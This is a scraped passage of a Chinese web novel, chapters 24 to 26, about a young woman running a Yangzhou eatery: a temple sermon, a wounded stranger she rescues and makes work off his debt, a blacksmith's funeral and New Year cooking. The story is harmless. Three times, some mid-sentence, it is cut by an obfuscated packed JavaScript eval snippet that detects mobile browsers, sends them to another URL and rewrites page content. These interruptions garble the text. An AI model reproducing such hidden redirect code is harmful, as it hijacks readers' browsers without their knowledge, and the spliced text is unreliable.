见蔡宣季转了身，二人异口同声骂道：“转回去！” 蔡宣季连声抱歉，悻悻地转了回去。 等了片刻，鞋换好后梁照儿才说：“今日做了些萝卜丝油墩子带来，郎君可要尝尝？” 她掀开竹篮里的白布，里头摆着几只椭圆形的油墩子，外皮经过油炸酥脆可口，内馅是萝卜丝、河虾和香葱制成的，清甜咸鲜。 众人都拿了一块，梁照儿连一旁的小沙弥也没放过，递了一块过去。 可惜那小沙弥道：“多谢善女好意，禅宗弟子持戒素食，不便食用。” 众人出了厢房便朝戒坛去。建隆寺戒坛在精舍旁，其坛底为汉白玉弥须座，坛身主体为八角形大殿，可容纳数百名信众同时听俗讲。戒坛门开四方，木质花棂窗饰，请黄琉璃瓦相间，重檐屋顶上还设有鎏金宝顶。 走进里头一瞧，法坛上供奉着面目威严的佛像，似乎才重塑了金身，格外闪亮。梁照儿并不信教，故而没认出那是哪位神尊的金身。座下几只香案围着佛像，一桌上摆着一只复古的博山炉，冬日扬州城里难寻到的新鲜瓜果在案上摆了两碟子。 油灯将灯罩熏得有些发黑，戒坛里檀香袅袅，比外头昏暗不少。 前面的位置已被先来的信众占满，一行人乖顺地跪在后侧的蒲团上，小沙弥见堂下人差不多坐满了，快步走到了元大师身侧说道：“大师，可以开讲了。” 闻言了元大师缓缓掀了眼皮，捻着手中的珠串，点头应了。 梁照儿偷偷打量着这位给自己带来第一桶金的法师，只见他面庞十分年轻，约莫三十岁左右，身姿清瘦，慈眉善目的模样。 “我还以为了元大师岁数会有些大呢。”梁照儿轻声道。 蔡宣季觉着有些好笑：“那么你以为是多大呢？” 梁照儿略一思忖，又说：“大约像老爷爷那副模样，胡须和眉毛全白了。” 燕环撇了撇嘴，不屑道：“如今世风日下，不少和尚嘴里唱念的是佛教经文，可肉身却在红尘里打滚儿，翠袖坊就时常有和尚光顾。” “不得对了元大师无礼。” 一阵熟悉的声音传来，梁照儿抬头一瞧，正是宝绮。 想着正在听经文讲解，不便大声喧哗叙旧，梁照儿便恭敬地冲她点了点头。 燕环不解：“你干嘛对个丫头片子那么敬重，各有各的说法，难不成我还不能说话了？” “她是知州府的大姑娘。”梁照儿双手合十，垂眸说道。 燕环讪讪一笑：“嗐，你也不早说，如今我瞧着元大师确有几分得道高僧的模样。” 梁照儿低头余光瞥向斜前方，宝绮身边并立着韩景彦，今日他穿了一身宝蓝色直裰，脚上踏着一双云头皮靴。 不知怎的，梁照儿脑海中忽然想到有人说冬天才是能看出穷富的季节。她将脚往回缩了缩，完全置于裙摆下，认真听起经文讲解。 今日讲的是《维摩经》，了元法师负责解释佛经，一旁的小沙弥则转读佛经正文。为了吸引听众，还会加些民间传说和历史故事，倒叫人听的津津有味。 梁照儿心道：难怪关大娘这般爱来听讲经，先听了故事，还能去用斋饭，跟去听课送鸡蛋也没什么区别。 两柱香燃尽，最后一场法坛结束，众人纷纷起身。 宝绮走到梁照儿身边问道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401533|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你今日怎么也来了，倒未曾瞧见你姑母？” “姑母在食肆里头守着，我这闲人才好出来逛逛。”梁照儿双目含笑道。 韩景彦端方地朝梁照儿一行人问了个好，蔡宣季试探道：“阁下莫非是韩家大郎？” “仁兄是？”韩景彦问道。 蔡宣季笑了笑，又说：“我与郎君是同榜中举的举子，曾在鹿鸣宴上有一面之缘。” “幸会，请教台甫？”韩景彦回了一个拱手礼问道。 宝绮掩面笑着说：“不是说有过一面之缘，怎么现在才来问名号？” 这话说的让蔡宣季有些下不来台，他总不能告诉宝绮，你家兄长是经魁，坐第一桌，而自己是吊车尾中的举，坐在最后头。 韩景彦严肃道：“宝绮，不得无礼。” 蔡宣季连忙挥手道：“无妨无妨，娘子率真不伪，并不算无礼。” 梁照儿翻了个白眼，她算是体会到什么叫入关之后自有大儒替我辩经。 宝绮瞥了一眼燕环，又对着梁照儿道：“改日再叙罢，城东开了家花铺，你若有兴致也好一同去瞧瞧。” 燕环是在人堆里滚出来的，自然懂得这眼神的意思。她敛下眼中的情绪，站到一边去不作声。 梁照儿瞧见了，也不逼迫她，只从她手里提过竹篮，“好了好了，早上才将将做好的萝卜丝油墩子，宝姑娘和韩郎君可要尝尝？” 二人皆尝了一块，韩景彦细细品味了一番，问道：“这饼皮倒很有嚼劲，不似寻常面点。” 梁照儿点头说：“正是，这和面可有讲究，得先加盐加冷水将面糊拌匀拌透，一边搅一边加，搅得方向千万不能反。” 她刚说完心中一跳，顶着韩景彦狐疑的眼神，她又补充道：“我替姑母打下手时，瞧着她是这般做的。” 几人说说笑笑着出去，却见玉松正捂着肩膀在树下同一人讲话。他半倚在榕树上，一柄朴刀立在身侧。 “今日这建隆寺怎的这般热闹。”梁照儿心下一阵嘀咕。 玉松瞧见她，与身旁之人耳语两句，那人身形一梭便隐匿于林间。 “今日倒碰巧。”玉松将口中的狗尾巴草随手插进树缝里，双手抱臂似笑非笑地瞧着梁照儿。 他素日练武，身形修长，生得虽不如梁照儿身边两人精致，却有一股浓厚的男性魅力，大概是荷尔蒙分泌太过。 蔡宣季看见玉松心中隐隐生气一股不安之感，转头问道：“这位郎君是？” 梁照儿抬手介绍：“奴表兄，玉松，如今从外头回了扬州城里。” 表兄表妹之间的事，听说过没有一千也有八百了。何况蔡宣季是知道梁照儿与玉梳间的关系，认来的表兄，怎么瞧着更危险了？ 他语气中带着敌意，“原是如此，从未听照儿提过。” 韩景彦所觉察到的危险倒不是这方面的，他只轻轻一瞥便能瞧出玉松这人并不简单——那柄朴刀是用上好的精铁锻造，刀身刻着龙虎图腾。 “娘子表兄果真英武非凡。”韩景彦轻轻一笑。 蔡宣季不忿韩景彦长他人志气灭自己威风的模样，闷哼一声道：“韩郎君也不遑多让，不知表兄是从事哪行的，也好说出来让咱们开开眼。” 玉松风轻云淡道：“某不过一粗人，不值得诸位郎君挂心。” 他上前拍了拍蔡宣季的肩膀，他手劲出奇的大。蔡宣季不自觉地用内力抵抗，对上玉松探究的目光，才佯装左肩一沉，朝后踉跄了几步，望着梁照儿瘪嘴道：“照儿，你瞧……” “小子，少叫得这么亲昵。”玉松挑眉道。 燕环拉了拉梁照儿的袖子，小声说：“我怎么闻着了一股火药味。” 梁照儿轻拍了燕环手一下，走进三人之中说道：“今日一见也算巧合，过了年节后食肆预备重新修整一番，到时候再邀诸位来一聚。” 韩景彦遗憾说：“年后便要启程去汴京，怕是不能来了。” 梁照儿恍然大悟道：“倒是我忘记了，待郎君走前还叫立文来食肆取些糕点带在路上吃，到外头了再难尝到咱们这的风味了。” “我也要！”蔡宣季抢言道。 梁照儿瞪了他一眼，“少不了你这现眼包的。” 宝绮笑着说：“阿兄走了，我却还在，难不成在的人就不备着了？” 梁照儿连忙道：“姑娘仙女儿一般的人物愿意来，是我们那破落处的幸事。待暖和了姑娘带着姐妹们来，必定给您留个上座。” 宝绮被她哄得开心，二人连忙约定好了日子，只说要将扬州城里有头有脸的娘子们都带去给她捧场。 几人闲话了一阵，才分别下了山。蔡宣季欲送梁照儿回去，却被玉松的一个眼神制止了，大概意思是自家妹子有我这个做兄长的送，你这心思赶紧收收，哪凉快哪呆着去吧。 回去路上，玉松问：“你的朋友，油头粉面的那小子叫什么来着？” “你说姓蔡的？”梁照儿不假思索道。 燕环笑得直不起腰身，“你反应得倒快。” 玉松认真说：“他不是个甚么好人，你们都离他远些。” 燕环捂嘴道：“唷，我燕丫头甚么人没见过，还怕他个初出茅庐的小子？好了，到这儿便分开罢，我得往东边去。” 玉松见燕环走远了才道：“姓蔡的可会武功？” “嗐，他那人是个读书人，倒没听说过会这些。”梁照儿思考片刻后回说。 玉松正欲说些什么，二人便瞧见关大娘站在食肆门口，一脸焦急。 她见玉松和梁照儿回来了，连忙道：“你们可算回来了。” 梁照儿问道：“这是怎的了，今日食肆里头没出什么乱子罢？我去做些吃食了，你和大哥便在这一道吃了再回去。” “快别吃了，贺家的才来说铁铺门关了，可贺铁匠久久未回，她正挺着个大肚子四处去寻呢！我总觉着不放心，咱们也去帮忙找找罢。”关大娘一脸焦急道。 天已黑全了，不打着灯笼在路上只能看见恍惚的一个人影。梁照儿想到之前在玉梳婚宴上见到的贺家的那模样，心中也有些后怕，“说的是，喜郎呢？叫他千万守在家里，别四处乱跑。” 24. 河边捡人 几人分开去寻，梁照儿小心翼翼地沿着青石板路步入渡口边，芦苇杆相互互簇拥，密密麻麻地生长在一起。她举着灯笼四处张望，大黄正昂首挺胸地在前头探路。 “大黄，慢些跑。”梁照儿急忙唤它。 撒欢的大黄听见梁照儿的声音，原地转了一圈又掉头回来跟在她脚边。它嘴里叼着一块不知是什么的东西，洋洋得意地递到梁照儿手跟前。梁照儿借灯一瞧是只冻死的老鼠，尖声道：“你又不是猫，将这东西叼来做甚，要吓死我不成！” 大黄闻言悻悻地将老鼠甩到一边，又跟了上来。一人一狗往前走了几里地，梁照儿忽而感觉脚下一顿，软绵绵的触感让她起了一身鸡皮疙瘩。 才见了死老鼠，这会儿脚下又是软绵绵的一团，梁照儿颤抖着问：“大黄，旁边是甚么东西？” 大黄乐颠颠地凑上前去闻了闻，朝着梁照儿吠了两声便坐在一边。 梁照儿壮着胆子上前，借着纸灯笼的微光，她看清楚了水边横七竖八躺着的是个男人，身负重伤的男人。 她脑子空白了几秒钟，只见那男人浑身是血，身着白绢中单衣，从后背到前腰被刀砍伤了好几处，那伤口在水中泡得久了胡乱翻着，有些骇人。她探了探男人鼻息，呼吸孱弱，不过尚且还活着。 无数念头呼啸间闪过，这趟贺铁匠没找着，倒捡到个男人。 根据小说中的捡人定律，此男要么是来报恩的，要么便是来寻仇的。梁照儿往前走了没几步，那男人身上用金线绣的竹节纹样仿佛在黑夜中缠住了她的脚步一般。 若是救了这男人，他为表感谢赠自己黄金百两岂非是赚了？ 梁照儿这一回去不要紧，那男人冰冷的大手兀得抓上了她右脚脚踝，忽而一阵阴寒之气袭来，梁照儿吓得右腿乱蹬，胡乱之中踹了那男人好几脚。 动乱之中，梁照儿的绣鞋被男人攥在手里，由于拉扯，她自己也跌坐在地上，大黄围在她身边冲男人叫嚷着。 梁照儿惊恐道：“大半夜的嚇死人了，干甚么抓我！” 那男人断断续续说：“救……救我。” 梁照儿见状从他手中抢过自己的绣鞋，踉跄着穿好后蹲在他身边，好整以暇道：“瞧着你身上的刀伤，想来是结了仇家被追杀由水冲来这里的，我若救了你有何好处？” 那男人嘴角呕出一股鲜血，又说：“我的钱都给你。” 梁照儿一听这话便来了劲，“你有多少钱麽？” 还未等到回答，那男人便昏死过去。梁照儿拍了他脸两下见他不醒，心一横还真在他身上摸索出个代表身份的物件。那是块刻着龙虎纹的赤金手牌，足有一两重。梁照儿轻轻用牙一咬，是真金。 尽管梁照儿常在地里劳作，背谷子背柴火都不在话下，可将一个成年男子背回去，还是有些吃力。 关大娘在外头寻了一圈，正在食肆里守着等梁照儿。她见院门倏尔被踹开，梁照儿弯着腰进来，背上驮着不知道一个什么人。关大娘担心是贺铁匠，连忙擎灯去瞧。 待关大娘看清后，吓了一大跳。只见梁照儿背着一男人，那男人浑身湿漉漉的，还滴着血水。她只当是贺铁匠，连忙说：“这…这是怎么了？不会死了吧！” 梁照儿将那男人放倒在地，喘着粗气说：“没死。” 关大娘的万幸还没说出口，梁照儿又道：“但这人不是贺铁匠。” “那么他是谁？”关大娘颤抖着问道。 梁照儿吃了一盏茶，耸肩说道：“不知道，他求我救他，还说要将钱都给我，而后从他身上搜出了这枚手牌，想来是也是个有头有脸之人。” 关大娘这才松了口气，又说：“既如此，先将他挪到后头去，直挺挺地躺在这里怪瘆人的。” 待两人将这男人安顿好之后，便见贺喜郎满脸迷蒙地跑了来，见到梁照儿和关大娘后才一阵鼻酸，流下热滚滚的两条泪，“爹…爹他吃多了酒，漏夜回来时跌进了江里，玉松大哥将他捞了起来，正在家里。” 梁照儿愣了一下，随即命自己镇静下来，安抚着喜郎，“可去请郎中了？别害怕，你娘肚子里还怀着弟弟妹妹，咱们快些动身去瞧瞧。” 关大娘也点头，三人即刻给门下了锁，便朝着明教巷去。 刚进了贺家的门，便见回春堂的郎中被玉松抓了来替贺铁匠诊治。那郎中摇了摇头，对着贺家的说：“你家官人已无鼻息，纵使华佗在世，也回天乏术。” 其实玉松将贺铁匠从水里捞起来时，他业已断了气，只是对着贺家的期盼的目光，他并不好直说，还是去请了郎中来。 贺家的双目空洞，攥着郎中的袖子不肯放，嘴里还嚷着：“您且在瞧瞧，我男人素日里壮得像头牛，想来只是呛了水，染了风寒，养几日便好了呀！” 那郎中欲将手从贺家的那里抽出来，见抽不动无奈道：“这位娘子，您拖着也没用啊！还是早些去请了仵作来验明后停灵发丧罢。” 梁照儿瞧见贺铁匠的脸上已经完全褪去了血色，惨白而发青的面庞被水泡得有些囊肿。他双眼紧闭，双手双脚微曲，肌肉僵硬地摆成奇怪的姿势。 这是明显失温致死的症状。 贺喜郎在一旁呆呆地站着，他并非三岁小儿，自然知晓死亡是什么。虽然他厌烦贺铁匠时常吃酒、打骂他娘，常希望他和他娘两个人单过。可真当贺铁匠死了，他惶惶不安的心底却生出一丝恐惧，他们应该怎么生活呢？ 贺家的悲痛欲绝，哭喊着说：“从前便叫他少吃些酒，那酒哪里是甚么好东西唷，如今留下我孤儿寡母三个，不知怎么过才好！” 她动气太过，又怀着身子，一时间闭气栽了过去。那郎中本欲回去，见状又只得收回踏出去的半只脚替贺家的把脉。 喧闹了一夜，鱼肚白翻了出来，梁照儿连忙对关大娘和玉松说：“你两个且在这照看着，食肆那头还要出早摊，我先回去做事了。” 关大娘道：“都这样了你还回去出早摊，倒不如歇了这一天。” 梁照儿摆摆手，“左右也睡不成了，倒不如清晨一连气儿做完，下午闭了店酣畅淋漓地睡一场。” 关大娘言之有理，也不阻拦，又说：“正巧你要不将这郎中带回去给救的那人也瞧瞧？” “这钱老朽不赚了！”那郎中生怕被梁照儿请走，仓皇逃了出去。 玉松耳朵尖，一听这话便准备问梁照儿所救之人有何特征，不料梁照儿脚步快，紧跟着那郎中便回去了，只得按下不表。 且说梁照儿回了食肆，照例做了早上的生意，等到食客渐渐散了才去街上请了善治刀伤的游医来。那郎中仔细替男人把了脉又掀了他眼皮瞧了瞧，方才说：“好在他身体底子不错，沾了寒气微微有些发热，只是这刀伤还得养些时日才能好全。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401534|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁照儿问道：“他流了这么多血，怎么会没事？” 那游医白了梁照儿一眼，淡淡道：“那是别人的血。” 梁照儿有些尴尬地摸了摸鼻尖，又问：“既然伤的不重，怎么还不醒？” “他身体疲倦，恢复好了自然就醒了。”游医瞥了梁照儿一眼，低头写着药方。 意思是这男人太困了，得再睡上几个时辰，多余的蠢问题就别问来丢人现眼了。 梁照儿心中不忿，却也时刻谨记吃饭不能骂厨子，看病不能揍医生，陪笑着说：“嗐，奴一妇人家不太了解则个，您多担待些。” 那游医闻言抬眸问道：“他是你甚么人？” 床上被换好药、半裸着上身的男人悠悠转醒，他怔了片刻眼神才聚焦，侧头一看梁照儿正在与游医交谈。 他不着声色地将被子往上拉了些，却不想被梁照儿发现。梁照儿连忙扑在他身上，哭喊道：“你娘老子临终前还托付我时常照看你，让改改你这坏毛病。表兄，你可千万别再去赌了，今天砍的是背，明天砍的就是头啊！” 说着，梁照儿挤了两滴清泪出来。她右手搭在男人的胸膛上，感受到触手滑腻紧实的肌肉，忍不住摸了两把。 游医见状也不再言语，留下一张药方便离去了。 床上男人面色苍白地推了推梁照儿，冷冷道：“别摸了，起来。” 梁照儿直起身来，用手绢按了按脸上的泪痕，搦腰靠着桌子，娇笑着说：“这位郎君可算醒了，方才不过是为了打发那游医，还请您别介意这些个。” 那男人并不搭腔，只盯着梁照儿，目光平平，“你要多少钱？” 梁照儿睃了他一眼，乔作为难，假意推脱说：“那句话怎么说来着——‘救人一命胜造七级浮屠’，不过是举手之劳的善事，可当不得郎君这般说。” 男人转过脸，脸上无悲无喜，“我是被人砍了身上不是脑袋，你说过的话我都记得。” 梁照儿见被戳穿，尴尬地抚了抚鬓，又噼里啪啦地算道：“奴瞧着郎君生的一身贵气，想来也不缺甚么银钱，不过给些食宿医药的费用。郎君尽管在这住下，奴从前也看顾过病人，这些杂事都不在话下。” “你照顾的那人呢？”男人问道。 梁照儿陪着笑脸，“您可放心，他害了痨病死了，碍不着您甚么。” “……” “你说的钱什么时候能兑？”她摇了摇男人的令牌，又说：“瞧着郎君身份不凡，这令牌么也是证明身份之物。” 男人望着令牌，摸了摸身上，气愤道：“还我。” 梁照儿躲过他来抢的手，轻巧地转了个身，笑着说：“这个得压在我这做信物，免得你赖皮。” 男人泄气顿坐了下去，双手垂着低头并不应答。 梁照儿伸手在他眼前晃了晃，俏皮道：“你有这样的令牌，莫非是甚么落难的王爷、太子之类的？” “当今官家尚无子嗣。” 她又问：“那就是将军、侯爷之流？” “也不是。” 梁照儿被他的态度弄得有些烦躁，一拍桌子道：“我救了你，于情于理都是你的恩人，有这样和恩人讲话的吗！” 男人不语。 梁照儿不死心，又试探道：“真的不是吗？” 男人掀起眼皮，望着她微微一笑，“在下微不足道一小民。” 25. 吊唁与新员工 南方廿四小年，故而不到廿三营造处也遣散了众民夫工匠回家过年。贺铁匠停了几日灵，丧事不敢再拖，趁着年前便草草发送了。 吊唁那日，梁照儿在贺家才见到玉梳。她比上次婚宴一见清减了不少，圆圆的脸如今也有几分削尖，眼下一圈乌青。梁照儿爽朗笑道：“成了亲果真不同了，再想见你一面倒是难如登天。” 玉梳长长叹了一口气，才道出实情：虽说张虎待她是真心实意的好，可架不住张老太太能作妖。玉梳贪睡晚起了些，张老太便拿拐杖敲窗子唤她起来做饭。家中明明请了个炊火做饭的仆妇来帮忙，却等玉梳一嫁过来就遣了回家。玉梳从早晨起来便得做饭、里外打扫屋子，还没歇息片刻又得做下一顿饭。 最过分的是，张老太时常借口将玉梳留在自己屋子里，直到夜深了才准她回去同张虎一处。 “……和他儿子都没一处睡几日，她倒催上孙子了，一催还催两个，说是同张龙张虎两兄弟这般才好。”玉梳无奈道。 梁照儿替她揉了揉肩说：“你们既然已经成亲了，倒不如分出来单过。” 玉梳摇了摇头，“就算分出来了他娘也得跟着我们，大哥又没娶媳妇，没人照顾他娘，这老太婆哪里肯唷！” “我那日瞧着她年纪也不算很古，尚能自己管着自己，何苦作践你！再不行将原先的仆妇请回来，一天打发十几文钱不就成了？”梁照儿冷哼一声说道。 玉梳不敢说那日喜宴上张老太看上了梁照儿，又听说张龙对她有意，更是欢喜的不行。张老太如今已在家做上日日食珍馐、饮佳酿，做食肆店主人她婆婆的美梦，和玉梳说了好几次叫她保这门媒。 虽说依着梁照儿的性子，嫁进张家来能护着玉梳，两人联手定能治治这张老太，可浑水一人蹚便足矣，何苦再拉一人下来？ 玉梳换言道：“嗨呀，她那人抠门的很，粪坑里掉一文钱都要捡起来瞧瞧真假，如今娶了媳妇进门，哪里还肯花钱使唤旁的人。” 梁照儿不解：“张虎也不帮衬着你些，倒是我错看他了，原以为是个体贴的人物，不想也是糊涂虫！” “他瞧着五大三粗的，内里却是个孝子，这事总得徐徐图之。”玉梳叹了口气说。 梁照儿原以为如玉梳这般温柔能干的好女嫁了心仪的男人能过上好日子，不说多么富足，起码顺心顺意，不料也是骂完婆婆骂男人。 两个挽郎唱诺了几声，便起了棺准备往外送，梁照儿和玉梳连忙侧身让了他们出去。 贺铁匠葬的地方不算远，只立了一块青石碑，上头刻着先考淮南府扬州贺水生，子贺喜郎谨立。下头跟着喜郎替贺铁匠写的墓志：“维公讳成，世居淮南扬州。公幼好锻冶，性坚毅，穷研技艺，寒暑不辍。学成，操持锻业，所铸刀器、农具，刃口锋利，形制精严，为四方所重……” 梁照儿望见那碑文，心中一阵唏嘘。 一抔黄土埋了杉木棺材，贺家的哭干了眼泪，呆楞地站在一旁。贺喜郎一夜之间便长大了，他双拳紧握，站在前头。 玉松问他：“今后有什么打算？” 喜郎怔怔地摇了摇头，他再怎么成熟也不曾出去讨过生活。 玉松本是个冷性子，鲜少关切旁人，只是如今的喜郎难免让他想到从前的自己，故而也多了几分怜悯。 “铺子已经兑给一位富商了，他瞧着我们可怜，多给了一贯钱。我再替人抄书赚些微末银两，兴许能行。”贺喜郎忐忑道。 玉松见状笑了，眉头轻解，“就那么喜欢读书？” “爹在世时，唯一的心愿便是我能靠读书出人头地，做个官，日后好名归故里。”喜郎咬牙道。 玉松拍了拍他的肩膀，不再说什么，或许这孩子能走出一番不同的路。 安顿好贺喜郎和贺家的后，几人回了玉梳家小坐闲谈。刚进院子里，便瞧着张虎在里头候着，见玉梳一来便凑上前来：“你回娘家也有小半天了，若没甚么急事早些回去也好。” 玉梳把眼一横道：“既然来了，怎么也不过去贺家瞧瞧？” “有你替我去还不够？我是偷偷出来的，你且家去看看老娘。”张虎说道。 关大娘一向对张虎和颜悦色的，此刻也阴了脸，“姑爷，你这话我不爱听。我姑娘自打嫁到你家这些时日，除了回门那日再没回过娘家，今日还没坐下你又迎她回去，你娘是娘，我这个娘就不是了？” 玉松站在一边瞥了张虎一眼，眼里带着杀气。张虎不自觉地缩了缩脖子，他有些怕这个鲜少露面的大舅哥，有人说他在外头闯荡江湖，干的是杀人越货的勾当。 张虎陪笑着说：“这是哪里的话，你们只管说话。” 见状玉松闷哼一声，才勉强点了点头。他本就不同意自家妹子和张虎在一起，觉得他不过是个卖力气的，虽说有几分家底，可两兄弟分一分也不剩什么了。 谁料玉梳就瞧上了他，说他心细体贴，如今瞧来也不外如是。 若是往后张虎真做了什么让玉梳伤心之事，他倒不介意找个没人的地方套麻袋揍张虎一顿，再给自家妹子换个新妹夫。 众人说了一阵，才分别散了。临走前玉松问梁照儿：“我娘说你在渡口边救了一男子，可有什么相貌特征？不知与我要找之人是不是同一个。” 梁照儿想来便有些生气，回说：“原以为是个有些身家的，不想是个骗子！扣下他在食肆里做活，还清了钱再轰出去。” 她转身和玉松道别，回了食肆。门口正站着李瘸子和燕环，二人隔了一丈远，一个站在门头，一个站在门尾，背对着背谁也不理谁。 梁照儿笑道：“这是怎么了？” 燕环挽上梁照儿的胳膊说：“年下营造处散了，我便想着过来瞧瞧你，谁知他偏要跟着过来！过来也就罢了，一个人站在那里，同他讲话也不肯理睬的，天知道怎么生的这副怪性子！” 梁照儿无奈道：“先进来罢，外头冷。” 她引着李瘸子进了食肆，李瘸子似乎百般的不情愿，四处打量了一眼，嘴里嘟囔道：“倒比想象中小了不少。” “什么？”梁照儿问道。 李瘸子自顾坐下，半只腿翘在凳子上说：“你聘了我来帮你，你这小食肆也算能起死回生。” 梁照儿还是头一遭见讨工讨的如此理直气壮的。她气极反笑，给自己倒了一盏茶道：“李瘸子，你倒说说我为什么要雇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401535|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你？” 李瘸子指着一边打扫卫生的沈度说：“你不也雇了他？他病病歪歪，只能打扫打扫屋子，我还能做菜，做的还比你好！” “我方才就想问了，你从哪里寻来个这么俊俏的小奴？我也好去赁个回来解解闷。”燕环笑嘻嘻地看向梁照儿挤眉弄眼道。 沈度在食肆里将养了几日，身体方痊愈便被梁照儿扣下来做跑堂小二还债。自打梁照儿听说他既不是什么王公贵族，也没什么银钱，就把他连人带铺盖全部赶到了楼下。原本住着的单人单间，外加贴心陪护一夕之间全成了泡影。 早知这女人势利眼，可没想到这般厉害！他本不情不愿，但为了偷回令牌也只得伺机而动，先留下来再看。 沈度一听这话，背着众人做活的手一僵，心下无奈：从前他也算纵横江湖，如今已经沦落成小奴了吗？ 果真是世风日下，人心不古。 他转身看向燕环，攥着抹布的手青筋暴起，“我不是小奴。” 燕环被他的眼神骇到，默默和梁照儿靠得更紧些。 梁照儿并不怕他，甩了他两记眼刀说：“赶紧干活，什么时候还清了请郎中抓药的钱再卷铺盖走人。” 沈度闻言又转过身去用劲地擦着八仙桌。 李瘸子冷哼一声道：“我是淮扬菜居三刀的亲传弟子，顶顶正宗的第三代传人。若非看你这毛丫头有几分偏才，倒不稀得来！” 燕环闻言捂嘴笑道：“你这老儿莫不是酒吃多了失心疯了？” 她上下打量了穿的破破烂烂的李瘸子一眼，“你是居三刀的传人，我还是王母娘娘身边的侍女下凡呢！我瞧你是吃酒吃光了钱没处去罢。” 这话戳中了李瘸子的短处，他撑着半只康健的左腿站了起来，从怀里掏出一把牛皮包着的桑刀插在桌子上。 刀光冷冷，刀柄上刻着一个“居”字。 “你这人怎么随身带着刀出来？”燕环惊道。 李瘸子说：“你懂甚么，刀是厨子的命，行走江湖岂能不配刀？” 梁照儿狐疑地瞧了一眼那刀，仔细观察了片刻见不似作伪，又联想起从前旁人只言片语透露的种种，此刻也信了七八分。 她仍问：“按您所说，您应当被燕来楼奉为上宾，又怎会沦落至此？” 李瘸子神色复杂地看了梁照儿一眼，双唇翕动，似有说不尽的话想要倾吐，却又生生咽了回去。 “总之，是他们有眼无珠。”李瘸子说。 梁照儿笑着说：“您这样说倒显得奴若不应下，也是那有眼无珠之人。” 李瘸子转过头去，将刀收好放进袖子里，大有一副颇任梁照儿看着办的架势。 “包吃包住，工钱每月一贯钱，就这么些，您愿意便留下来。” 一贯钱虽说少了些，只有从前在燕来楼的四分之一，可如今也没更好的去处。李瘸子勉强点了点头说：“行罢，不过我不和这小子住一起！” 沈度抬眸看向李瘸子，冷哼一声道：“你可叫她骗了，楼下拢共一间小房，你不跟我住就得到堂屋里打地铺。” 梁照儿摊手说：“现在城里头地价贵，租金也不便宜，有个地方容身就不错了。” 26. 年夜饭与试探 燕朔逢穷腊，江南拜小年。岁末敬灶王，元宝作卖糖。梁照儿亲手做了香瓜和元宝形状的麦芽糖供给灶王爷，食肆更加敬重小年祭灶的习俗。 李瘸子站在一旁幽幽道：“一年到此时才想着讨好灶王爷，也不知灶王爷是喜是忧。” 干了几天活，李瘸子也渐渐习惯了食肆里头的生活，虽不如自己一处自由但却少了几分孤寂。 如今梁照儿放手将厨房里头的活大半交给了李瘸子，跑堂的活丢给沈度，自己则钻研起新菜品。这几日她才算体会到手底下有使唤的人的益处来，总不至于在一个人恨不得劈作两半使，渐渐也有几分掌柜的架子了。 她觑了李瘸子一眼，笑着回说：“那话怎么说的来着，君子论迹不论心，做了总比不做强。” 沈度开了门，外头几个小乞儿结伴扮作灶王，敲着竹杠唱歌向他讨钱。他没见过这场面，被几个小乞儿围在中间不肯让他走。 他黑着脸说：“要讨钱上一边讨去，我自己还欠人一屁股债，要讨给我也讨些来。” 梁照儿瞧见了挥手叫那群小乞儿领头的来，给了他几文钱便叫他们散去。 沈度抚了抚揉皱的衣衫，不解道：“这些乞儿明显就是来讨钱的，给他们作甚？” 梁照儿正色道：“过年过节的不好闹出什么名堂来，再则这些乞儿中不乏被拍花子拐带来的，给他们几文钱也能交差。” 沈度讶然地瞧了梁照儿一眼，脸上表情写着你这么抠门的人居然还肯给别人钱？ 李瘸子听到梁照儿所言身形一顿，随即钻进厨房里不知去做些什么了。 今夜梁照儿预备做一桌年夜饭，请了亲朋好友们来此一聚。现又有了李瘸子这个帮忙的，能做的就更多了。 本朝年夜饭必备的春盘、屠苏酒和柏柿橘自是必不可少的，主菜梁照儿预备做拨霞供，也就是火锅，大家一处吃又热闹又亲近。她买了兔肉、羊肉和猪肉各一斤，交由李瘸子片成薄片后攒成盘盒备下。她又在小风炉上置了半锅水，里头放了半只老母鸡文火熬着鸡汤，届时用鸡汤做汤底涮肉吃。 这虽不如四川火锅那般辛鲜麻辣，也自有一股独特风味。 余下的梁照儿又做了一道从前做过的酿鱼、一道瓜齑并上一盏金玉羹。金玉羹是以栗子片和山药搭配着用羊肉汤煮成的一道汤品，大雪天饮上一盏，只觉五脏六腑都暖了。 春盘交给李瘸子来做，他刀工好，选了十余种蔬菜，有萝卜、韭菜、青蒿之类的，余下的梁照儿也叫不出名字。只见他手起刀落将几种蔬菜切得细细的却不断，在盘里摆出各种各样的造型，又用金银丝扎花装饰其上。 他挽了个刀花，对着梁照儿道：“掌柜的，我这做的不赖罢？” 